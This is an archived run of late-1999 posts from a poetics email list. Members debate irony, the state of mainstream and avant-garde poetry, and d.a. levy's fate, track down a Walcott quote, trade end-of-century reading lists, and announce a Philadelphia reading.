to me, rather, irony seems like the weapon of choice for the disenfranchised. irony signals the limits of community while demonstrating another community exists (those who do and do not get it). sometimes this all you have, though my experiences of this are more of the high school clique variety than what Homi Bhabha calls "ambivalence" in colonial discourse. i gather irony is at the heart of Henry Louis Gates' signifying monkey. sure it can be deployed in "regressive" ways. but if you associate irony with the aristocracy, well then, that has hardly been a hegemonic class for the last 200 years. i will be bold and say that power _never_ speaks ironically. it may speak hypocritically (and as a resident in post-WTO Seattle i can say i have a better appreciation for this nuance), but power always means what it says. perhaps the economist would agree with this--not power, but power in decline speaks ironically. but my claim is that those who speak back to power often do so ironically. for it is not only to speak to already constituted communities that one uses irony, but also to speak to communities to come.

-- Robert Corbett "I worried about the gap between [redacted] expression and intent, afraid the world Department of English might see a fluorescent advertisement University of Washington where I meant to show a face." -Rosmarie Waldrop

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308. **Maria Damon**

Re: walcott citation: desperate query

Thu 30 Dec 1999

---

http://www.nobel.se/laureates/literature-1992-lecture.html

that's it, tisa, it was his Nobel lecture. and i asked nate, cuz for a while i thought i'd seen it in discrepant engagement --but he said no, though the quote looked familiar. yes nate has a caribbean sensibility, though he left florida for southern CA, apparently, when he was 4. hope yr well--md

At 5:36 PM -0800 12/27/99, Tisa Bryant wrote:
>I don't know where it came from, but I'd like to, because it sounds like the
>inspiration for N. Mackey's ongoing prose work, "From a Broken Bottle
>Perfume Still Emanates", the first two volumes being of course BEDOUIN
>HORNBOOK and DJBOT BAGHOSTUS' RUN.
>
>Perhaps Mr. Nielsen knows?
>
>----------
>>From: Maria Damon <[redacted]>
>>To: [redacted]

>>Subject: walcott citation: desperate query
>>Date: Mon, Dec 27, 1999, 9:27 AM
>>
>
>> hi groovoids, i'm desperately looking for the source of this quote by derek
>> walcott. i can't remember where i saw it; but i used it in a paper that's
>> now almost in press and i need to legitimate it. i vaguely think it may be
>> from an interview, and i read it cited by someone else. i will send a copy
>> of the booglite Poetry as Cultural Critique chapbook to whomever can help
>> me out. in anticipatory appreciation, maria d
>>
>> "Break a vase, and the love the reassembles the fragments is stronger than
>>>that love which took its symmetry for granted when it was whole... This
>>>gathering of broken pieces is the care and pain of the Antilles, and if the
>>>pieces are disparate, ill-fitting, they contain more pain than their
>>>original sclpture, those icons and sacred vessels taken from granted in
>>>their ancestral places. Antillean art is this restoration of our shattered
>>>histories, our shards of vocabulary, our archipelago becoming a synonym
for
>>>pieces broken off from the original continent."
>>

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309. **Arielle C. Greenberg**

end of century reading material

Thu 30 Dec 1999

I got a posting from someone asking what everyone was reading now, at the end of the century, which I thought was such a lovely idea, until I realized that posting came from a different list I'm on. So I'm introducing the idea here. Bed-side stacks, circa the flip of the nines to zeros?

I'm particularly excited to answer this myself, since as I write I am also trying to gather books to bring on a three-day hide-out in an Adirondack cabin. My house is stocked with books I bought in 99 and never had a chance to read, so what to bring?

Possible selections include:
Journals I bought from SPD: Volt, Big Allis, New American Writing, The Hat, Fourteen Hills, American Letters & Commentary
Many new Barbara Guest books
The New American Poetry anthology I finally own
Wang Ping's Of Flesh and Spirit

French Symbolist Poetry anthology
New issue of Fence
Jena Osman's The Character
Plus novels I never got to read: Everlasting Story of Nory by Baker, The Saskiad by Hall
Pride & Prejudice, which sig oth and I are reading out loud to one another nightly

Also coming:
ingredients for tofu/mushroom thai curry
champagne, bien sur!
the new Stephin Merritt/Dolly Parton/Beastie Boys cds
pancake mix
videos: Modern Times (Chaplin), Rules of the Game (Renoir), 2001 (Kubrick), Irma Vep (Assayas), Philadelphia Story (Cukor)

noisemakers for everyone! see you in the meltdown...
Arielle

********** "I thought numerous gorgeous sadists would write me plaintive appeals, but time has gone by me. They know where to get better looking boots than I describe."
-- Ray Johnson

↑ Index

310. **Alan Sondheim**
(no subject)
Thu 30 Dec 1999

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```

↑ Index

311. Jacques Debrot

Re: Lucious Jackson

Thu 30 Dec 1999

brian & rebecca thank you for yr comments. let me just add to yr brilliant exchange a few, perhaps tangential, remarks.

1. mainstream poetry is fascinating to me in that it is, in several ways, in a profound state of crisis, while simultaneously seeming to be incredibly complacent

(or "lukewarm" as brian puts it)--a crisis, in other words, as much *of* as *in* complacency. for the readers of mainstream poetry--& such readers have, by definition, a casual relationship to poetry--poems are almost entirely about "soul making" (thus, bill moyers)--& register the (fairly circumscribed) dissastisfactions, aspirations, & values of the most completely socialized segment of the american population (left-of-center, suburban college-educated professionals).

2. alternative poetries are not diametrically dissimilar to mainstream poetry, but actually share/reproduce many of the symptoms of this crisis-in-complacency. this is not, however, necessarily a *bad* thing inasmuch as it might be more useful & interesting for poetry to make the symptoms of capitalism, etc. *exemplary* rather than to propose "alternatives" or "solutions".

3. for example, silliman's "solution" of a more locally-oriented poetic strikes me actually as extremely, if unintentionally, conservative. for one thing, it would tend, of course, to leave in place the status quo ideological & aesthetic assumptions of more ambitiously positioned poetries like language (not coincidentally). this is particularly evident for instance w/ the more noticeably regional poetic groupings like apg-- which, although it produces interesting work, is in an extremely unoriginal position vis langpo--or boston, on the other hand, which is largely frozen in an olsonian aesthetic. what exp poetry needs is in fact an "outside" -- an alternative, just for a start, to all the *puffing* that constitutes the critical discourse (for what it's worth) that surrounds it. indeed, rather than the chaos of proliferating books & presses, the reception of alt poetry & its relationship to its audience seems more & more regulated by networks of affiliation structured by a.) apprentiships by emerging poets to more established writers & b.) accreditation/initiation in/by graduate writing &/or english depts at buffalo, brown, naropa, san diego, etc.

4. poetry, both mainstream & avant-garde, has become a minor genre in almost every respect. it is, for instance, telling that so few of the poets writing in the contributors's notes of fence magazine, when prompted to name their favorite books, mention poetry books. even the way the word is pronounced --po *em* -- with the stress on the second syllable-- seems to attest to its anachronism. perhaps one could/should begin again by writing *pomes.*

more later perhaps. . . .

jacques

↑ Index

312. Jacques Debrot
@poetics
Thu 30 Dec 1999

by the way, does kuszai's [redacted] make any mention, in its introduction, of the controversy that led to the change in the list's administration? it would be interesting to know, particularly as the particular circumstances of this controversy render a lot of the rhetoric by perloff, bernstein & others in lauding the list's initiation of various new freedoms a little hollow. (see for instance kent johnson's "article" in _skanky possum_--i'm not entirely in *his* camp either, but he does make several compelling points.) in any case, @poetic's limitation to the 1st 2yrs of posts arose for practical reasons i'm sure, but it also reflects what i think is the common experience of its offering increasingly diminished returns to its subscribers (while remaining, all the same, indispensable). one suspects, too, that for this reason, many of the formerly most interesting voices on the poetics list correspond now mainly on the "shadowy" subpoetics list. one would think, too, that an intro to the buffalo list would--if only briefly or provisionally--make mention, not only of new democratizing trends, but of the new electronic heirarchies spun off from buffalo & embodied by, for example, subpoetics. if not, is this merely another example of the incestuous critical discourse surrounding alt poetry?

jacques

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313. Ruth Danon
Re: poetry and the moment
Thu 30 Dec 1999

Came back from the woods to this interesting discourse. So I thought I'd come out of hiding to offer a small comment. I think that one of the things left out of this discussion is that writing poetry -- in the sense of really trying to enter the discourse and carry it forth in a way that matters -- however a person might define "matter" -- is really difficult. It's not an easy task. Polemic is easier, theory is a little easier, but to write poetry -- well it's hard. I agree that there is an essential conservatism in both the mainstream (and largely tedious) poetry and also in the so called avant garde modes. What is to be discovered? What risked? What commitments will we make? What will we do that doesn't already have it's assumptions declared at the outset? What are we willing to learn?

I don't have answers. But I do want to offer these questions as something to chew on.

Happy New Year everyone

> From: Jacques Debrot <[redacted]>
> To: [redacted]
> Subject: Re: Lucious Jackson
> Date: Thursday, December 30, 1999 5:07 PM
>
> brian & rebecca thank you for yr comments. let me just add to yr brilliant
> exchange a few, perhaps tangential, remarks.
>
> 1. mainstream poetry is fascinating to me in that it is, in several ways, in
> a profound state of crisis, while simultaneously seeming to be incredibly
> complacent (or "lukewarm" as brian puts it)--a crisis, in other words, as
> much *of* as *in* complacency. for the readers of mainstream poetry--& such
> readers have, by definition, a casual relationship to poetry--poems are
> almost entirely about "soul making" (thus, bill moyers)--& register the
> (fairly circumscribed) dissastisfactions, aspirations, & values of the most
> completely socialized segment of the american population (left-of-center,
> suburban college-educated professionals).
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> 2. alternative poetries are not diametrically dissimilar to mainstream
> poetry, but actually share/reproduce many of the symptoms of this
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> inasmuch as it might be more useful & interesting for poetry to make the
> symptoms of capitalism, etc. *exemplary* rather than to propose
> "alternatives" or "solutions".
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> (not coincidentally). this is particularly evident for instance w/ the more
> noticeably regional poetic groupings like apg-- which, although it produces
> interesting work, is in an extremely unoriginal position vis langpo--or

> boston, on the other hand, which is largely frozen in an olsonian aesthetic.
> what exp poetry needs is in fact an "outside" -- an alternative, just for a
> start, to all the *puffing* that constitutes the critical discourse (for what
> it's worth) that surrounds it. indeed, rather than the chaos of
> proliferating books & presses, the reception of alt poetry & its relationship
> to its audience seems more & more regulated by networks of affiliation
> structured by a.) apprentiships by emerging poets to more established writers
> & b.) accreditation/initiation in/by graduate writing &/or english depts at
> buffalo, brown, naropa, san diego, etc.
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> 4. poetry, both mainstream & avant-garde, has become a minor genre in almost
> every respect. it is, for instance, telling that so few of the poets writing
> in the contributors's notes of fence magazine, when prompted to name their
> favorite books, mention poetry books. even the way the word is pronounced
> --po *em* --with the stress on the second syllable-- seems to attest to its
> anachronism. perhaps one could/should begin again by writing *pomes.*
>
> more later perhaps. . . .
>
> jacques
>

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314. **Tony Green**

Re: end of century reading material

Thu 30 Dec 1999

OK, here you go, Arielle, in no particular order,

Catalogue. Bambury: Works 1975-1999, curated: Wystan Curnow

Books:
L.Althusser. Pour Marx. 1973
Michael Sullivan. Symbols of Eternity: the art of landscape painting in China. 1979
Michael Foucault. Essential works vol2. trans.Robert Hurley, 1998
Virginia Were. Jump Start. 1999
Charles Peirce. Peirce on Signs. ed James Hoopes. 1991
Friedrich Nietzsche. The Birth of Tragedy. The genealogy of Morals. trans H.Golffing. 1956

Magazine:
A brief description of the whole world, #14, 1999

CD's currently on or near CD player:
Miles Davis at Carnegie Hall
Giovanni Martinelli: the acoustic records
Chick Corea. Retro. The Gold Collection: Classic Performances
Ray Charles. Newsound. Essential Collection
Charlie Christian; the genius of the electric guitar

a happy new year to one & all

best Tony Green

From: Arielle C. Greenberg <[redacted]>
To: [redacted] <[redacted]>
Date: Friday, 31 December 1999 11:47
Subject: end of century reading material

>I got a posting from someone asking what everyone was reading now, at the
>end of the century, which I thought was such a lovely idea, until I
>realized that posting came from a different list I'm on. So I'm
>introducing the idea here. Bedside stacks, circa the flip of the nines to
>zeros?
>
>I'm particularly excited to answer this myself, since as I write I am also
>trying to gather books to bring on a three-day hide-out in an Adirondack
>cabin. My house is stocked with books I bought in 99 and never had a
>chance to read, so what to bring?
>
>Possible selections include:
>Journals I bought from SPD: Volt, Big Allis, New American Writing, The
>Hat, Fourteen Hills, American Letters & Commentary
>Many new Barbara Guest books
>The New American Poetry anthology I finally own
>Wang Ping's Of Flesh and Spirit

>French Symbolist Poetry anthology
>New issue of Fence
>Jena Osman's The Character
>Plus novels I never got to read: Everlasting Story of Nory by Baker, The
>Saskiad by Hall
>Pride & Prejudice, which sig oth and I are reading out loud to one another
>nightly
>
>
>Also coming:
>ingredients for tofu/mushroom thai curry
>champagne, bien sur!
>the new Stephin Merritt/Dolly Parton/Beastie Boys cds
>pancake mix
>videos: Modern Times (Chaplin), Rules of the Game (Renoir), 2001
>(Kubrick), Irma Vep (Assayas), Philadelphia Story (Cukor)
>
>
>noisemakers for everyone! see you in the meltdown...
>Arielle
>
>
>**********
*
>"I thought numerous gorgeous sadists would write me plaintive appeals, but
>time has gone by me. They know where to get better looking boots than I
>describe." -- Ray Johnson
>

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315. **komninos zervos**
Re: end of century reading material
Thu 30 Dec 1999

At 02:38 PM 12/30/99 -0500, you wrote:
>I got a posting from someone asking what everyone was reading now, at the
>end of the century, which I thought was such a lovely idea, until I
>realized that posting came from a different list I'm on. So I'm
>introducing the idea here. Bedside stacks, circa the flip of the nines to
>zeros?

sure
barthes, 1972, 'work to text', 'the grain of the voice', in

'image-music-text'.
kristeva, 1984(first published{french} 1974), 'genotext and phenotext' in 'revolution in poetic language'.
laurel, 1990, 'computers as theatre'.
beach, 1999, 'poetic culture'.
plant,1997, 'zeros and ones'.

these are keeping me busy 55 years after hiroshima at point time-zero in cyberspace.
komninos zervos

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316. komninos zervos
(no subject)
Thu 30 Dec 1999

At 03:05 PM 12/30/99 -0500, you wrote:
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> #####   #   ##   #   #  #####  ######/unification/coming together
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>
>myself and only me, i,i,i,i.
komninos cyberpoetry site http://student.uq.edu.au/~s271502
komninos zervos lecturer in cyberStudies griffith university gold coast
australia [redacted]

↑ Index

317. komninos zervos
Re: Lucious Jackson
Thu 30 Dec 1999

---

i assume that you are refering mainly to published poetries in this post, and would like to add some thoughts and observations from the antipodes. i have been reading beach's "poetic culture" lately and have been trying to apply what i read of the experience in the usa with my own country.

At 05:07 PM 12/30/99 EST, you wrote:
>1. mainstream poetry .....in a profound state of crisis, while
>simultaneously seeming to be incredibly complacent.... as much *of* as
in >complacency. for the readers of mainstream poetry....--poems are
>almost entirely about "soul making" (thus, bill moyers)--& register the
>dissastisfactions, aspirations, & values of left-of-center,
>suburban college-educated professionals).

in australia we are experiencing much the same thing, a crisis in published poetry, oxford,penguin, uni. of queensland press suspending their australian poetry lists, the audience is too small, print runs of 500-750 for a poetry volume are no longer viable for the mainstream. the readers are poets and academics and fall into the same category of readership as described above(i.e.left-of-center,suburban college-educated professionals). many of australia's top mainstream poets are writing verse novels, dorothy porter, les murray, and thus moving into a more lucrative field of fiction novel. the newer mainstream poets, lawrence, kinsella, and younger generation of mainstream poets, like jordie albiston, catherine bateson, ian mcbryde, corul hull, rebecca edwards, lisa bellear, and a host of graduates from creative writing programs, are being published by the mainstream literary journals which are still relatively financial and successful. however the live reading/sounding of poetry at literary festivals throughout australia has never been more active, festivals have never been more active. the live experiencing of literature seems to be growing at the inverse rate to the decline in a reading audience. needless to say the newer mainstream poets are also very good at presenting their work in public.

> *2. alternative poetries are not diametrically dissimilar to mainstream poetry, but actually share/reproduce many of the symptoms of this*

> *crisis-in-complacency. this is not, however, necessarily a *bad* thing inasmuch as it might be more useful & interesting for poetry to make the symptoms of capitalism, etc. *exemplary* rather than to propose "alternatives" or "solutions".*

again in australia, the non-mainstream press, is publishing poets, much the same poets that the mainstream presses were publishing and a whole bunch of poets aspiring to be published by the mainstream presses. in these publications the poets take a more active role in the distribution and sales of the book making the operation more financially viable. again public appearance and performance aids book sales immensely.

what you haven't mentioned in your post, jacques, is a listening audience for poetry, an audience that has come to poetry through live performance venues. (like slammers and nuyorecan-style poets in the usa, and ravers and ranters of the uk). in australia there is another strata of the non-mainstream poets that don't seek print publication, (but do occassionally get published), that have through the eighties and nineties, established a career from the performance of their work in public. myron lysenko, steven herrick, geoff goodfellow, lauren williams, mark gliori, kerry scuffins, jenny boult, steve holiday, and myself, (before selling out to the academy for a 9 to 5 job with holiday pay after fifteen years on the road as a performance poet). their existence is proof enough that there is a listening audience for poetry.

Twenty years ago these three groups were politically and stylistically opposed. Unlike in the usa(re beach), the mainstream australian poetry was greatly influenced by overseas theories of language, linguistics, marxism, and psychoanalysis, and shunned the themes or concerns of university based creative-writing programs which didn't really become part of academia until the late eighties. The small press poets were more interested in "real stories", lyric narratives and experimental poetries(catching up with the avant-garde), and trying to shake the mainstream establishment poetry. Strangely enough this is the reverse situation to what beach describes in the usa over the same period. Interesting, the cultural implications here, american mainstream resists french theory, australian mainstream, seeking recognition internationally, embraces international theories of poetry. The alternate scene in the usa embraces new french theorists that mainstream has rejected, plus developing the work of homegrown usa avant-garde groups. The official alternate scene in australia followed the progress of the new american poetry of the mainstream,ie ashbery etc, as well as the alternative beats, language and multicultural poets. The performance poetry scene was just taking off, (eric beach was probably australia's first professional performance poet, he had a business card which read, "eric beach, poet, no fixed address"), the poets union was formed in each state and there was an active cafe/pub live scene which produced poets who developed at performance

venues, hearing and listening to poetry, not in a workshop or in a library and not relating or even knowing about the existence of the other two groups, let alone french, american literary theorists. Poetry was blood-letting, concentrating on the personal, political, psychological and everyday.

Today,in australia, the three groups do not differ a great deal in style and content in their poetry, there has been much crossover and convergence in the last twenty years.

Despite the differences, australian and usa present day experience, shows that the publishing of poetry is in crisis, there isn't an audience that wants to read poetry from a book. australian experience may cast doubt on professor beach's conclusion that the writing program academy is at fault for the drop in readership. the australian experience would imply that making the poetry too ecclectic, dare i say elitist, in their thematic concerns too tied up with a knowledge of literary theory and not with the poem as artisic/aesthetic object, has caused the decline of book reading audience. however maybe it is neither, maybe the academies have just mapped two different paths of many possible paths. perhaps we have something to learn from looking at what we do have.

We have an active large and growing audience that likes to listen and to experience poetry in person, in the flesh, to hear poetry being read, recited, performed, uttered, projected, animated, call it what you will.

Perhaps the audience has changed, or is changing from the traditional silent reading audience to an attentive listening participatory experience of poetry. perhaps we as people want to receive our poetry differently in 2000, 55 years after hiroshima.

Perhaps what is at fault here is that we don't look sideways sometimes. how long have the language poets been seeking acknowlegement in the usa? how long will the slammers be ignored as a poetic phenomenon of our age, or the uk ranters and ravers, john cooper clarke, attila the stockbroker, benjamin zephanaia, lenton quesi johnson, june binta breeze, or the australian performance poets mentioned earlier? We see poetry, but only a slither of the spectrum.

> *3. for example, silliman's "solution" of a more locally-oriented poetic strikes me actually as extremely, if unintentionally, conservative. for one thing, it would tend, of course, to leave in place the status quo ideological & aesthetic assumptions of more ambitiously positioned poetries like language (not coincidentally). this is particularly evident for instance w/ the more noticeably regional poetic groupings like apg-- which, although it produces interesting work, is in an extremely unoriginal position vis langpo--or boston, on the other hand, which is largely frozen in an olsonian aesthetic. what exp poetry needs is in fact an "outside" -- an alternative, just for a*

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We see poetry, but only a slither of the spectrum.

We see poetry, but only a slither of the spectrum.

> *4. poetry, both mainstream & avant-garde, has become a minor genre in almost every respect. it is, for instance, telling that so few of the poets writing in the contributors's notes of fence magazine, when prompted to name their favorite books, mention poetry books. even the way the word is pronounced --po *em* --with the stress on the second syllable-- seems to attest to its anachronism. perhaps one could/should begin again by writing *pomes.*
>
> *more later perhaps. . . .*

perhaps these writers are not reading poetry in books, were they asked who their favourite poet in performance was? or what poets they have heard?

> *jacques*

komninos komninos cyberpoetry site http://student.uq.edu.au/~s271502 komninos zervos lecturer in cyberStudies griffith university gold coast australia
[redacted]

↑ Index

318. **Chris Stroffolino**
Re: @poetics
Thu 30 Dec 1999

Debrot asks some VERY good and useful questions here....
thanks....

chris stroffolino

On Thu, 30 Dec 1999, Jacques Debrot wrote:

> *by the way, does kuszai's [redacted] make any mention, in its introduction, of the controversy that led to the change in the list's administration? it would be interesting to know, particularly as the particular circumstances of*

> *this controversy render a lot of the rhetoric by perloff, bernstein & others in lauding the list's initiation of various new freedoms a little hollow. (see for instance kent johnson's "article" in _skanky possum_--i'm not entirely in *his* camp either, but he does make several compelling points.) in any case, @poetic's limitation to the 1st 2yrs of posts arose for practical reasons i'm sure, but it also reflects what i think is the common experience of its offering increasingly diminished returns to its subscribers (while remaining, all the same, indispensable). one suspects, too, that for this reason, many of the formerly most interesting voices on the poetics list correspond now mainly on the "shadowy" subpoetics list. one would think, too, that an intro to the buffalo list would--if only briefly or provisionally--make mention, not only of new democratizing trends, but of the new electronic heirarchies spun off from buffalo & embodied by, for example, subpoetics. if not, is this merely another example of the incestuous critical discourse surrounding alt poetry?*
>
> *jacques*

↑ Index

319. **Patrick Herron**

Re: Lucious Jackson

Thu 30 Dec 1999

As always Jacques, you have so much to say that's so compelling, insightful.

I am just now starting to comprehend much of what you wrote, and find myself nodding 'yes' in excitement. but for a couple of things, as always is the case with me.

the current concerns of many poets with categories of exclusion and inclusion in the poetry community seems on its own to help impose a sort of idiosyncratic class structure to the poetry community/poetry communities. a heuristic for stratification perhaps. maybe this is what helps to feed, as you say, "poetry, both mainstream & avant-garde, has become a minor genre in almost every respect."

also, I might add that poetry in America weakens because poets are more and more synonymous with dissidents in the USofA, and dissidents are less and less tolerated, and there are large budgets to make this happen, perhaps larger than ever. the poets singing, "wake up," in eloquent ways, perhaps find it hard to even ever afford a computer, a journal, books. the only true artists are terrorists perhaps (deLillo)?

<<for the readers of mainstream poetry, poems are almost entirely about "soul making" & register the (fairly circumscribed) dissastisfactions, aspirations, &

values of the most completely socialized segment of the american population (left-of-center, suburban college-educated professionals).>>

please forgive me if this sounds out-of-line, but this feels as it if comes from a priveleged person looking (down?) at the more common people surrounding him/her on a college campus. just my intuition, since I don't know you nearly well enough. (Forgive me for my lack of tact here.)

equating "soul making" with bill moyers cheapens the emotive power that poetry can have, that poetry has almost lost, perhaps due to elliptic writing, people afraid to say what they mean perhaps? I don't know. sometimes the ellipticism makes us take the scenic route to insights.

but maybe i don't know what you mean by "soul making."

writers with emotive power (what I am equating "soul making" with) are all over the class map. I think now of Linh Dinh, particularly his "The Dead." a staggeringly brilliant and moving poem. there is a sort of "soul making" there, the author imparts his recognition of people's lives changing, and his association of such change with death, and it leaves a chill, an echo of foreign yet familiar recognitions. his writing is out of the mainstream. and yet it is so profoundly similar to Charles Simic's, particularly from the "World Doesn't End" volume, and he's mainstream in a very large sense. the breakdown is largely of social/professional associations/affiliations as you say, but not really content or form any more. again, as you say so well. the line between avant and mainstream is incredibly fuzzy, but for the affiliations. So I guess I am agreeing with most of your sentiments except the one about the association of one small segment of a population with Bill Moyers. I think it undercuts your own otherwise terrific insights.

<<for example, silliman's "solution" of a more locally-oriented poetic strikes me actually as extremely, if unintentionally, conservative.>>

I take it as 1. a sort of survival stance in an increasingly divisive literary environment in Amerika and 2. a sort of anarchistic stance, both very radical and pragmatic (if such a combination is possiblem, which I think yes). organize locally (which need not be defined by geography alone -- I live in NC and my brother lives in CA and yet I would consider him very local to my life, as an example).

using APG as illustrative of the power of the local is unfair to the concept of the local, and even unfair to APG. Not that I have any friends there! it is anecdotal, and another local group could spring up that's of an aesthetic completely original to you (or me). what they do may meet none of my tastes or yours, but perhaps to dismiss them altogether and then transitively dismiss local efforts is unfair?

<<what exp poetry needs is in fact an "outside" -- an alternative, just for a start, to all the *puffing* that constitutes the critical discourse (for what it's worth) that surrounds it. indeed, rather than the chaos of proliferating books & presses, the reception of alt poetry & its relationship to its audience seems more & more regulated by networks of affiliation structured by a.) apprentiships by emerging poets to more established writers & b.) accreditation/initiation in/by graduate writing &/or english depts at buffalo, brown, naropa, san diego, etc.>>

I agree, poetry needs an outside. networking, though, is such a product of a capitalist coulture of quid pro quo. how can poetry really emerge from an environment of such backslapping? and establishment by writing programsperhaps my imagination is limited there. but little of what i read in journals, mainstream or avant, has that poetic chill. poetry is rare, rare, rare and yet common. everyone has poetic moments, insights, so they are as common as people, but it seems not many people have more than a small number in a lifetime, and even less try to communicate those moments, realizations, etc, and even less try repeadedly, doggedly, stubbornly.

on a final note, to the group, why is originality so important and craft so unimportant? Aren't both important? Say, original non-New Formalist craft? Other formalisms, shifting dynamic formalisms? Is it possible to say something that has never ever been said before? especially when we know so much of our reading has intercolated into our ways of thinking, that we might find it hard to actually know from where our ideas "originated"?

goddamn, Jacques, what you said was certainly insightful. as with the discussion of Ashbery's "Girls...", Darger, outside art, from a while back. Thanks for the nourishment.

Happy New Year
Patrick Herron

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320. **nuyopoman**
Re: POETICS Digest - 27 Dec 1999 to 29 Dec 1999 (#1999-238)
Fri 31 Dec 1999

In a message dated 12/30/99 12:07:44 AM Eastern Standard Time, [redacted] writes:

<< Date: Mon, 27 Dec 1999 13:57:20 -0600
From: Maria Damon <[redacted]>
Subject: d.a.levy

hi, i'm giving buddhist third class junkmail oracle a read...i find it very depressing...like reading minima moralia...reading the brilliant outpourings of someone who doesn't want to be alive and has no sense of humor about it...can someone help me? >>

Dear Maria,

Death no parenthesis etc.

That levy was hounded to death by CoIntelPro - 15-year old girl wired to record a reading he gave in a church basement!
That he came under investigation because he was a Grand BooHoo in the Neo-American Church, a complete sham created to poke fun at organized religion but whose pataphysical hierarchy gave FBI something to believe in (this revealed for first time in Golden's intro).
That he refused to leave Cleveland.
The he had published 55 books at time of death (26).
That his poems are the sheerest yowl and shriek song descant of the 60s.
That his spirit of mimeo lives on in internet.
That B3CJMO is a super testament, with great gruppby repros and even color collages.

My students at Bard couldn't get enough of him.

After years of battling against the image of die-young romantapoet, I'm coming to terms with levy, Frank Stanford, Larry Neal, Steven Jesse Bernstein as repping some lineage, American grain .

Love,

BobH

↑ Index

321. **nuyopoman**
da levy
Fri 31 Dec 1999

Dear Maria,

Death no parenthesis etc.

That levy was hounded to death by CoIntelPro - 15-year old girl wired to record a reading he gave in a church basement!
That he came under investigation because he was a Grand BooHoo in the

Neo-American Church, a complete sham created to poke fun at organized religion but whose pataphysical hierarchy gave FBI something to believe in (this revealed for first time in Golden's intro).
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After years of battling against the image of die-young romantapoet, I'm coming to terms with levy, Frank Stanford, Larry Neal, Steven Jesse Bernstein as repping some American grain lineage.

Love,

BobH

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322. **Poetics List**
from Richard Frey, re: Philly reading 1/9/00
Fri 31 Dec 1999

FORWARDED / reformatted
From: [redacted] (Richard Frey)
Subject: Gontarek, Silver at NOTcoffeeHouse 1 pm 1/9/00

(NOTcoffeeHouse) Poetry and Performance Series
Sunday, January 9, 2000
1 pm
First Unitarian Church
2125 Chestnut Street
Philadelphia, PA 19103

Featured Readers:
Leonard Gontarek,
editor, APR Philly Edition 99, nominee, 1999 Pushcart Prize. Leonard will read from his journal and new poems.

Don Silver
will finger-pick and read new poems.

Plus Open Poetry and Performance Showcase
$1 admission.

Along with a live poetry reading and performance , we invite you to join in our website poetry reading presentation. All poets and performers may have a poem or a lyric featured in theNOTcoffeeHouse website. Send your work for

inclusion in the ongoing internet presentation. Tell your friends all over the world to check our site! Poets and performers may submit works for direct posting on the website via email to the [redacted] or works may be emailed to Richard Frey at [redacted] or USPS or hand-delivered through slot at 500 South 25th Street, Philadelphia, PA 19146. More information: Church office, [redacted], Jeff Loo, [redacted] or Richard Frey, [redacted]. Visit our website at www.notcoffeehouse.org poets & performers previously appearing at NOTcoffeeHouse: Nathalie Anderson, Lisa Coffman, Barbara Cole, Barb Daniels, Linh Dinh, Lori-Nan Engler, Simone Zelitch, Dan Evans, Brenda McMillan, Kerry Sherin, John Kelly Green, Emiliano Martin, Jose Gamalinda, Toshi Makihara, Thom Nickels, Joanne Leva, Darcy Cummings, David Moolten, Kristen Gallagher, Shulamith Wachter Caine, Maralyn Lois Polak, Marcus Cafagna, Ethel Rackin, Lauren Crist, Beth Phillips Brown, Joseph Sorrentino, Frank X, Richard Kikionyogo, Elliott Levin, Leonard Gontarek, Lamont Steptoe, Bernard Stehle, Sharon Rhinesmith, Alexandra Grilikhes, C. A. Conrad, Nate Chinen, Jim Cory, Tom Grant, Gregg Biglieri, Eli Goldblatt, Stephanie Jane Parrino, Jeff Loo, Theodore A. Harris, Mike Magee, Wil Perkins, Deborah Burnham, UNSOUND, Danny Romero, Don Riggs, Shawn Walker, She-Haw, Scott Kramer, Judith Tomkins, 6 of the Unbearables - Alfred Vitale Ron Kolm, Jim Feast, Mike Carter, Sharon Mesmer, Carol Wierzbicki-,John Phillips, Quinn Eli, Molly Russakoff, Peggy Carrigan, Kelly McQuain, Patrick Kelly, Mark Sarro, Rocco Renzetti, Voices of a Different Dream - Annie Geheb, Ellen Ford Mason, Susan Windle - Bob Perelman, Jena Osman, Robyn Edelstein,Brian Patrick Heston, Francis Peter Hagen, Shankar Vedantam, Yolanda Wisher, Lynn Levin, Margaret Holley

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323. Tedd J. Mulholland

Re: end of century reading material

Fri 31 Dec 1999

More than happy to answer this question as my first post to the list (':

various writings of Mikhail Bulgakov
the newly published collected fictions of J.L. Borges
soon to add the collected poems
selected poems of T.S. Eliot
various readings from works by Keith and Rosemarie Waldrop
Stein's Tender Buttons and Medit.
Miller's Sexus
Joyce's Wake
Various Pynchon
Collected Paul Celan
Tom Phillips

R. Silliman
plan to pick up some Eco on semiotics

So, reviewing the list, im feeling a bit ADD . . .
some titles and writers are constants and the list is far from complete if you include random reading of poetry, prose, and non-fictions

as a side note, an introduction of myself may be appropriate, i hail from Atlanta and fraternize with the Atlanta Poets Group and as a further note, i plan on moving to Sacramento come next September, if any have info. on art and culture, living, etc. on the area, it would be greatly appreciated

TEDD

---- you wrote:
> I got a posting from someone asking what everyone was reading now, at the
> end of the century, which I thought was such a lovely idea, until I
> realized that posting came from a different list I'm on. So I'm
> introducing the idea here. Bedside stacks, circa the flip of the nines to
> zeros?
>
> I'm particularly excited to answer this myself, since as I write I am also
> trying to gather books to bring on a three-day hide-out in an Adirondack
> cabin. My house is stocked with books I bought in 99 and never had a
> chance to read, so what to bring?
>
> Possible selections include:
> Journals I bought from SPD: Volt, Big Allis, New American Writing, The
> Hat, Fourteen Hills, American Letters & Commentary
> Many new Barbara Guest books
> The New American Poetry anthology I finally own
> Wang Ping's Of Flesh and Spirit
> French Symbolist Poetry anthology
> New issue of Fence
> Jena Osman's The Character
> Plus novels I never got to read: Everlasting Story of Nory by Baker, The
> Saskiad by Hall
> Pride & Prejudice, which sig oth and I are reading out loud to one another
> nightly
>
>
> Also coming:
> ingredients for tofu/mushroom thai curry
> champagne, bien sur!

> the new Stephin Merritt/Dolly Parton/Beastie Boys cds
> pancake mix
> videos: Modern Times (Chaplin), Rules of the Game (Renoir), 2001
> (Kubrick), Irma Vep (Assayas), Philadelphia Story (Cukor)
>
>
> noisemakers for everyone! see you in the meltdown...
> Arielle
>
>
> **********
> "I thought numerous gorgeous sadists would write me plaintive appeals, but
> time has gone by me. They know where to get better looking boots than I
> describe." -- Ray Johnson
>

---------- Get free personalized email from GTE at http://www.gtemail.net

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324. Gerald Schwartz
Re: end of century reading material
Fri 31 Dec 1999

To The List, a list in no particular order:

Metaphor Of Trees and Last Poems, William Bronk, 1999

The Cloud Of Unknowing (Clifton Wolters, Trans.), 1370

World Prefix, Harrison Fisher, 1989

Collected poems, Kay Boyle

Herman Melville's UNCOLLECTED POEMS, various sources

As far as "music" goes:

SolomonsRamada, self-titled cd

George Crumb, Black Angel cd

